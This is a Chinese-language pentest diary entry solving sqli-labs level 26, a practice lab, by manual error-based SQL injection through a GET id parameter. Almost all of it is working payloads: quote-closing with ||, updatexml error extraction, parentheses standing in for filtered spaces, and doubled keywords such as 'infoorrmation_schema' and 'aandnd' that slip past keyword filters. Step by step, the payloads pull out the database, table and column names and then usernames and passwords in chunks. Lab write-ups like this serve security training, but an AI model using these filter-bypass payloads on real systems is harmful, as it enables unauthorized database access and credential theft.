在职老D渗透日记day18:sqli-labs靶场通关(第26关)get报错注入 过滤or和and基础上又过滤了空格和注释符 ‘闭合 手动注入
5.26.第26关 get报错注入 过滤or和and基础上又过滤了空格和注释符 '闭合 手动注入
5.26.1.手动注入
(1)判断注入类型、注入点
?id=1' 报错
?id=1'--+ 报错,注释符被过滤
?id=1' and '1'='1 返回数据,and和空格被过滤
?id=1'||'1'='1
(2)查询数据库名
?id=1'||updatexml(1,concat(0x7e,database()),1)||'1'='1
(3)查询表名
为绕过服务器,将or变为||,information_schema变为infoorrmation_schema,函数调用用括号包裹
?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security'))),1)||'1'='1
(4)查询字段名
?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users'))),1)||'1'='1
(5)查询账号密码
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),1,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),32,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),63,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),94,32)) from (users))),1)||'1'='1